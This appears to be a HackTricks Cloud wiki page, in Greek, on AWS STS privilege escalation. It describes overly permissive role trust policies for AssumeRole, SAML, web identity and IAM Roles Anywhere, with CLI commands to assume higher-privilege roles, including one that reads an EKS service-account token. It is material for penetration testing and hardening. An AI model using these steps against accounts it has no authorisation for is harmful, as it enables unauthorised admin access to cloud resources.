AWS - STS Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
STS
sts:AssumeRole
Κάθε role δημιουργείται με μια role trust policy, αυτή η πολιτική υποδεικνύει ποιος μπορεί να αναλάβει το δημιουργημένο role. Αν ένα role από τον ίδιο λογαριασμό δηλώνει ότι ένας λογαριασμός μπορεί να το αναλάβει, σημαίνει ότι ο λογαριασμός θα μπορεί να έχει πρόσβαση στο role (και ενδεχομένως privesc).
Για παράδειγμα, η παρακάτω role trust policy δείχνει ότι ο καθένας μπορεί να την αναλάβει, επομένως οποιοσδήποτε χρήστης θα μπορεί να privesc στα δικαιώματα που σχετίζονται με αυτό το role.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}
Μπορείτε να προσποιηθείτε έναν ρόλο εκτελώντας:
aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
Πιθανός Αντίκτυπος: Privesc στον ρόλο.
Caution
Σημειώστε ότι σε αυτή την περίπτωση η άδεια
sts:AssumeRoleπρέπει να αναφέρεται στον ρόλο που πρόκειται να εκμεταλλευτείτε και όχι σε μια πολιτική που ανήκει στον επιτιθέμενο.
Με μία εξαίρεση, για να υποδύεστε έναν ρόλο από διαφορετικό λογαριασμό ο λογαριασμός του επιτιθέμενου πρέπει επίσης να έχει τοsts:AssumeRoleπάνω στον ρόλο.
sts:AssumeRoleWithSAML
Μια trust policy με αυτόν τον ρόλο δίνει σε χρήστες που έχουν πιστοποιηθεί μέσω SAML τη δυνατότητα να υποδυθούν τον ρόλο.
Ένα παράδειγμα trust policy με αυτήν την άδεια είναι:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "OneLogin",
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
},
"Action": "sts:AssumeRoleWithSAML",
"Condition": {
"StringEquals": {
"SAML:aud": "https://signin.aws.amazon.com/saml"
}
}
}
]
}
Για να δημιουργήσεις διαπιστευτήρια για να προσποιηθείς τον ρόλο, γενικά μπορείς να χρησιμοποιήσεις κάτι σαν:
aws sts assume-role-with-saml --role-arn <value> --principal-arn <value>
Αλλά οι πάροχοι μπορεί να διαθέτουν τα δικά τους εργαλεία για να το κάνουν πιο εύκολο, όπως onelogin-aws-assume-role:
onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600
Πιθανός Αντίκτυπος: Privesc στο role.
sts:AssumeRoleWithWebIdentity
Αυτό το δικαίωμα επιτρέπει την απόκτηση ενός συνόλου προσωρινών διαπιστευτηρίων ασφαλείας για χρήστες που έχουν ταυτοποιηθεί σε μια mobile εφαρμογή, εφαρμογή web, EKS… μέσω ενός παρόχου web identity. Μάθετε περισσότερα εδώ.
Για παράδειγμα, αν ένας EKS service account πρέπει να μπορεί να υποδυθεί ένα IAM role, θα έχει ένα token στο /var/run/secrets/eks.amazonaws.com/serviceaccount/token και μπορεί να αναλάβει το role και να αποκτήσει διαπιστευτήρια κάνοντας κάτι τέτοιο:
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
# The role name can be found in the metadata of the configuration of the pod
Federation Abuse
IAM Roles Anywhere Privesc
Το AWS IAM RolesAnywhere επιτρέπει σε workloads εκτός AWS να αναλαμβάνουν IAM roles χρησιμοποιώντας X.509 πιστοποιητικά. Ωστόσο, όταν οι trust policies δεν είναι σωστά περιορισμένες, μπορούν να καταχρηστούν για privilege escalation.
Για να κατανοηθεί αυτή η επίθεση, είναι απαραίτητο να εξηγήσουμε τι είναι ένα trust anchor. Ένα trust anchor στο AWS IAM RolesAnywhere είναι η οντότητα που αποτελεί τη ρίζα εμπιστοσύνης· περιέχει το δημόσιο πιστοποιητικό μιας Certificate Authority (CA) που έχει καταχωρηθεί στο account, ώστε το AWS να μπορεί να επαληθεύει τα παρουσιαζόμενα X.509 πιστοποιητικά. Έτσι, αν το client certificate έχει εκδοθεί από αυτή την CA και το trust anchor είναι ενεργό, το AWS το αναγνωρίζει ως έγκυρο.
Επιπλέον, ένα profile είναι η ρύθμιση που καθορίζει ποιες ιδιότητες του X.509 πιστοποιητικού (όπως CN, OU ή SAN) θα μετατραπούν σε session tags, τα οποία στη συνέχεια θα συγκριθούν με τους όρους της trust policy.
Αυτή η πολιτική στερείται περιορισμών σχετικά με το ποιο trust anchor ή ποιες ιδιότητες πιστοποιητικού επιτρέπονται. Ως αποτέλεσμα, οποιοδήποτε πιστοποιητικό συνδεδεμένο με οποιοδήποτε trust anchor στο account μπορεί να χρησιμοποιηθεί για να αναλάβει αυτό το role.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "rolesanywhere.amazonaws.com"
},
"Action": [
"sts:AssumeRole",
"sts:SetSourceIdentity",
"sts:TagSession"
]
}
]
}
Για privesc, απαιτείται το aws_signing_helper από https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html
Στη συνέχεια, χρησιμοποιώντας ένα έγκυρο πιστοποιητικό, ο attacker μπορεί να pivot στο higher privilege role
aws_signing_helper credential-process \
--certificate readonly.pem \
--private-key readonly.key \
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
--role-arn arn:aws:iam::123456789012:role/Admin
Ο trust anchor επαληθεύει ότι το πιστοποιητικό readonly.pem του πελάτη προέρχεται από την εξουσιοδοτημένη CA, και μέσα σε αυτό το πιστοποιητικό readonly.pem βρίσκεται το δημόσιο κλειδί που χρησιμοποιεί η AWS για να επαληθεύσει ότι η υπογραφή έγινε με το αντίστοιχο ιδιωτικό κλειδί readonly.key.
Το πιστοποιητικό παρέχει επίσης χαρακτηριστικά (όπως CN ή OU) που το προφίλ default μετατρέπει σε ετικέτες, τις οποίες η πολιτική εμπιστοσύνης του ρόλου μπορεί να χρησιμοποιήσει για να αποφασίσει αν θα εξουσιοδοτήσει την πρόσβαση. Εάν δεν υπάρχουν συνθήκες στην πολιτική εμπιστοσύνης, αυτές οι ετικέτες δεν έχουν χρήση και η πρόσβαση χορηγείται σε οποιονδήποτε με έγκυρο πιστοποιητικό.
Αναφορές
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

